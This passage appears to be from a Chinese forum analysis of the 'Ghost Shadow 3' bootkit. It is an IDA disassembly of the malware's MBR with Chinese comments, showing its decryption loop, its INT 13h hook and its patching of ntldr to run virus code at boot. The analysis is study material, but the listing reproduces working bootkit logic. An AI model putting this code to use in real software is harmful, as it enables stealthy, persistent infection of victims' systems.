2.自检完成将MBR加载到内存7C00H的地方执行MBR代码
3.执行PBR
4.加载执行NTLDR
6.进入系统
[AppleScript] 纯文本查看 复制代码
seg000:0000 ;
seg000:0000 ; +-------------------------------------------------------------------------+
seg000:0000 ; | This file has been generated by The Interactive Disassembler (IDA) |
seg000:0000 ; | Copyright (c) 2011 Hex-Rays, <[url=mailto:support@hex-rays.com]support@hex-rays.com[/url]> |
seg000:0000 ; | License info: 48-327F-7274-B7 |
seg000:0000 ; | ESET spol. s r.o. |
seg000:0000 ; +-------------------------------------------------------------------------+
seg000:0000 ;
seg000:0000 ; Input MD5 : 5705DEC26970DA764A175090823A00B1
seg000:0000 ; Input CRC32 : 2D814F11
seg000:0000
seg000:0000 ; ---------------------------------------------------------------------------
seg000:0000 ; File Name : j:\Virus\鬼影3分析\鬼影3之MBR分析\DECODEMBR
seg000:0000 ; Format : Binary file
seg000:0000 ; Base Address: 0000h Range: 0000h - 0200h Loaded length: 0200h
seg000:0000
seg000:0000 .686p
seg000:0000 .mmx
seg000:0000 .model flat
seg000:0000
seg000:0000 ; ===========================================================================
seg000:0000
seg000:0000 ; Segment type: Pure code
seg000:0000 seg000 segment byte public 'CODE' use16
seg000:0000 assume cs:seg000
seg000:0000 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
seg000:0000 jb short loc_5 ; cli是关中断
seg000:0000 ; 防止有些硬件中断对程序的干扰
seg000:0002 jnb short loc_5 ; 不管任何情况都跳到loc_5
seg000:0002 ; ---------------------------------------------------------------------------
seg000:0004 db 0Ah
seg000:0005 ; ---------------------------------------------------------------------------
seg000:0005
seg000:0005 loc_5: ; CODE XREF: seg000:0000j
seg000:0005 ; seg000:0002j
seg000:0005 cli ; cli是关中断
seg000:0005 ; 防止有些硬件中断对程序的干扰
seg000:0006 mov word ptr cs:600h, es
seg000:000B mov cs:602h, sp
seg000:0010 mov word ptr cs:604h, ss
seg000:0015 mov dword ptr cs:7FCh, 800h
seg000:001F lss sp, cs:7FCh ; 进行一些初始化操作
seg000:0025 pushad ; 保存寄存器
seg000:0027 push ds ; 压栈ds
seg000:0028 mov bx, cs:413h ; BIOS的内存地址存放到bx
seg000:002D sub bx, 0Dh ; 申请0Dhkb的大小的BIOS内存
seg000:0031 and bl, 0FCh ; 按照4K对齐
seg000:0034 mov cs:413h, bx ; 剩下的地址赋值回去
seg000:0039 shl bx, 6 ; 获取段地址大小
seg000:0039 ; 计算方法是×2的10次方,然后除以2的4次方,所以左移6位
seg000:003C mov es, bx ; 将段地址赋值给es
seg000:003E xor bx, bx ; 清零bx
seg000:0040 mov ax, 201h ; ah赋值为2h,al赋值为1h
seg000:0040 ; ah为int 13h的功能号,al为读取扇区数
seg000:0043 mov cx, 1 ; cx赋值为1
seg000:0043 ; cx表示从第一个扇区读取
seg000:0046 mov dx, 80h ; ; 80H表示读取介质类型为硬盘
seg000:0049 int 13h ; DISK - READ SECTORS INTO MEMORY
seg000:0049 ; AL = number of sectors to read, CH = track, CL = sector
seg000:0049 ; DH = head, DL = drive, ES:BX -> buffer to fill
seg000:0049 ; Return: CF set on error, AH = status, AL = number of sectors read
seg000:004B
seg000:004B loc_4B: ; DATA XREF: seg000:0049r
seg000:004B ; seg000:0063r ...
seg000:004B jb short loc_50 ; 压栈es
seg000:004D
seg000:004D loc_4D: ; DATA XREF: seg000:00B3w
seg000:004D jnb short loc_50 ; 跳向loc_50指向
seg000:004D ; ---------------------------------------------------------------------------
seg000:004F db 2
seg000:0050 ; ---------------------------------------------------------------------------
seg000:0050
seg000:0050 loc_50: ; CODE XREF: seg000:loc_4Bj
seg000:0050 ; seg000:loc_4Dj
seg000:0050 push es ; 压栈es
seg000:0051 push offset loc_55
seg000:0054 retf ; 相当于跳转命令
seg000:0054 ; jmp loc_55
seg000:0055
seg000:0055 loc_55: ; DATA XREF: seg000:0051o
seg000:0055 push cs
seg000:0056 pop ds ; 想当于指令mov ds,cs
seg000:0057 mov si, 6Ch ; 此为一个扩展读操作,参数放在一个DAP结构中
seg000:0057 ; struct DiskAddressPacket
seg000:0057 ; {
seg000:0057 ; BYTE PacketSize; // 数据包尺寸(16字节)
seg000:0057 ; BYTE Reserved; // ==0
seg000:0057 ; WORD BlockCount; // 要传输的数据块个数(以扇区为单位)
seg000:0057 ; DWORD BufferAddr; // 传输缓冲地址(segment:offset)
seg000:0057 ; QWORD BlockNum; // 磁盘起始绝对块地址
seg000:0057 ; };
seg000:005A mov ax, cs
seg000:005C mov [si+6], ax
seg000:005F mov ah, 42h ; 'B'
seg000:0061 mov dl, 80h ; 从DAP结构可以看出第一,第二参数是固定的,从4FFD483h读取14H个扇区到200h位置
seg000:0061 ; db 10h
seg000:0061 ; db 0
seg000:0061 ; dw 14h
seg000:0061 ; dd 200h
seg000:0061 ; dd 4FFD482h
seg000:0061 ; dd 0
seg000:0063 int 13h ; DISK - IBM/MS Extension - EXTENDED READ (DL - drive, DS:SI - disk address packet)
seg000:0065 jb short loc_6A
seg000:0067 jnb short loc_6A ; 跳向loc_6A
seg000:0067 ; ---------------------------------------------------------------------------
seg000:0069 db 3
seg000:006A ; ---------------------------------------------------------------------------
seg000:006A
seg000:006A loc_6A: ; CODE XREF: seg000:0065j
seg000:006A ; seg000:0067j
seg000:006A jmp short loc_7C ; 以下代码是解密加密的代码区
seg000:006A ; 从9Eh开始,大小2762h
seg000:006A ; ---------------------------------------------------------------------------
seg000:006C db 10h
seg000:006D db 0
seg000:006E dw 14h
seg000:0070 dd 200h
seg000:0074 dd 4FFD482h
seg000:0078 dd 0
seg000:007C ; ---------------------------------------------------------------------------
seg000:007C
seg000:007C loc_7C: ; CODE XREF: seg000:loc_6Aj
seg000:007C mov si, 9Eh ; ' ; 以下代码是解密加密的代码区
seg000:007C ; 从9Eh开始,大小2762h
seg000:007F mov cx, 2762h
seg000:0082
seg000:0082 loc_82: ; CODE XREF: seg000:009Cj
seg000:0082 push cx
seg000:0083 mov al, [si]
seg000:0085 or al, al
seg000:0087 jz short _DeCodeOver ; 解密结束
seg000:0089 jb short _DeCode ; 赋值cx为73h
seg000:008B jnb short _DeCode ; 执行解密代码
seg000:008B ; ---------------------------------------------------------------------------
seg000:008D db 3
seg000:008E ; ---------------------------------------------------------------------------
seg000:008E
seg000:008E _DeCode: ; CODE XREF: seg000:0089j
seg000:008E ; seg000:008Bj
seg000:008E mov cx, 73h ; 赋值cx为73h
seg000:0091 jb short loc_96 ; 将al循环右移73H,其实也就是右移3H
seg000:0093 jnb short loc_96 ; 将al循环右移73H,其实也就是右移3H
seg000:0093 ; ---------------------------------------------------------------------------
seg000:0095 db 4
seg000:0096 ; ---------------------------------------------------------------------------
seg000:0096
seg000:0096 loc_96: ; CODE XREF: seg000:0091j
seg000:0096 ; seg000:0093j
seg000:0096 ror al, cl ; 将al循环右移73H,其实也就是右移3H
seg000:0098 mov [si], al ; 解密后的内容赋值回去
seg000:009A
seg000:009A _DeCodeOver: ; CODE XREF: seg000:0087j
seg000:009A inc si ; si自增1
seg000:009B pop cx
seg000:009C loop loc_82 ; 判断是否执行结束
seg000:009E push 0 ; 后面的代码都是经过解密获取的
seg000:009E ; 我将解密的代码拼接在一起
seg000:00A1 pop es ; 将es赋值为0
seg000:00A2 mov eax, dword ptr es:loc_4B+1 ; loc_4b+1保存着INT 13H的地址
seg000:00A7 mov cs:dword_106, eax ; 将Int 13h地址赋值给cs:dword_106,保存原始Int 13H的地址
seg000:00AC mov word ptr es:loc_4B+1, offset _HookInt13HFunc ; 将Hook Int 13h地址赋值过去,达到Hook效果
seg000:00B3 mov word ptr es:loc_4D+1, cs ; 段寄存器赋值
seg000:00B8 xor ebx, ebx ; 清零ebx
seg000:00BB mov bx, cs ; cs段赋值给bx
seg000:00BD shl ebx, 4 ; 获取段地址
seg000:00C1 or cs:239h, ebx ; 段地址赋值
seg000:00C7 or cs:3C3h, ebx ; 段地址赋值
seg000:00CD add ebx, 204h ; 因为后面的代码通过扩展读到200H的地方
seg000:00CD ; 这里的地址就是后面的病毒代码地址
seg000:00D4 mov cs:200h, ebx ; 将Hook的地址放到cs:200H的地方
seg000:00DA mov di, 7C00h ; 目标地址
seg000:00DD mov si, 2600h ; 原始MBR存放地址
seg000:00E0 mov cx, 200h ; 大小为200H
seg000:00E3 cld
seg000:00E4 rep movsb ; 串赋值操作,将原始MBR拷贝到7C00H地方
seg000:00E6 pop ds
seg000:00E7 popad
seg000:00E9 lss sp, es:602h
seg000:00EF mov es, word ptr es:600h ; 恢复现场操作
seg000:00F4 jmp far ptr 0:7C00h ; 跳向7C00H处执行原始MBR
seg000:00F9 ; ---------------------------------------------------------------------------
seg000:00F9
seg000:00F9 _HookInt13HFunc: ; DATA XREF: seg000:00ACo
seg000:00F9 pushf
seg000:00FA cmp ah, 42h ; 'B'
seg000:00FD jz short loc_10A
seg000:00FF cmp ah, 2
seg000:0102 jz short loc_10A
seg000:0104 popf ; 以上代码是判断Int 13H的功能号是2h还是42H
seg000:0104 ; ---------------------------------------------------------------------------
seg000:0105 db 0EAh ; ; EA是Jmp的机器猫,下面存放原始Int 13h的地址
seg000:0106 dword_106 dd 0 ; DATA XREF: seg000:00A7w
seg000:0106 ; seg000:0110r
seg000:010A ; ---------------------------------------------------------------------------
seg000:010A
seg000:010A loc_10A: ; CODE XREF: seg000:00FDj
seg000:010A ; seg000:0102j
seg000:010A popf
seg000:010B mov word ptr cs:loc_11F+1, ax ; 将ax存放在指定位置
seg000:010F pushf
seg000:0110 call cs:dword_106 ; 调用原始int 13H功能
seg000:0115 jb _Over ; 如果不是读操作,执行完毕就结束
seg000:0119 pushf
seg000:011A cli ; cli是关中断,防止有些硬件中断对程序的干扰
seg000:011B push es
seg000:011C push ds
seg000:011D pushad ; 保护现场操作
seg000:011F
seg000:011F loc_11F: ; DATA XREF: seg000:010Bw
seg000:011F ; seg000:0129w ...
seg000:011F mov ax, 0 ; 此处被上面的代码修改过
seg000:011F ; mov word ptr cs:loc_11F+1, ax
seg000:0122 cmp ah, 42h ; 'B' ; 比较中断功能号是不是扩展读
seg000:0125 jnz short _NotExternRead ; 不是扩展读就跳走
seg000:0127 lodsw
seg000:0128 lodsw ; ds:si扩展读的方式,指向的是磁盘数据地址数据包
seg000:0129 mov word ptr cs:loc_11F+1, ax
seg000:012D les bx, [si] ; LES指令的功能是:把内存中指定位置的双字操作数的低位字装入指令中指定的寄存器
seg000:012D ; 高位字装入ES寄存器。 也就是找到缓存的位子
seg000:012F
seg000:012F _NotExternRead: ; CODE XREF: seg000:0125j
seg000:012F mov ax, word ptr cs:loc_11F+1 ; 获取中断功能号
seg000:0133 test al, al ; ax为0就不跳,不为0就跳,测试读取的扇区数
seg000:0135 jle short _EXIT
seg000:0137 xor cx, cx ; 清零cx
seg000:0139 mov cl, al ; 将扇区数存放到cl
seg000:013B shl cx, 9 ; 获取扇区总大小
seg000:013E mov al, 8Bh ; ' ; 第一个搜索标志
seg000:0140 mov di, bx ; 目标地址
seg000:0142 cld ; 置位标志位
seg000:0143
seg000:0143 _INT13HookScan: ; CODE XREF: seg000:014Fj
seg000:0143 ; seg000:0157j
seg000:0143 repne scasb ; 开始查找
seg000:0145 jnz short _EXIT
seg000:0147 cmp dword ptr es:[di], 74F685F0h ; 这是下一个搜索标志位
seg000:014F jnz short _INT13HookScan ; 检测 ntldr 中的特征序列 8B F0 85 F6 74 21/22 80 3D
seg000:0151 cmp word ptr es:[di+4], 8021h ; 这也是一个搜索标志
seg000:0157 jnz short _INT13HookScan ; 检测 ntldr 中的特征序列 8B F0 85 F6 74 21/22 80 3D
seg000:0159 push es ; 压栈es
seg000:015A xor eax, eax ; 清零eax
seg000:015D mov es, ax ; es清零
seg000:015F mov ax, cs ; cs赋值给ax
seg000:0161 shl eax, 4 ; 获取段地址
seg000:0165 add eax, 200h ; 这个为病毒后面代码区域
seg000:016B pop es ; 还原es
seg000:016C mov word ptr es:[di-1], 15FFh ; 这里是一个CALL的机器码
seg000:0172 mov es:[di+1], eax ; 这里达到Hook的效果Call [offset],offset的地址存放在eax
seg000:0177
seg000:0177 _EXIT: ; CODE XREF: seg000:0135j
seg000:0177 ; seg000:0145j
seg000:0177 popad
seg000:0179 pop ds
seg000:017A pop es
seg000:017B popf
seg000:017C
seg000:017C _Over: ; CODE XREF: seg000:0115j
seg000:017C retf 2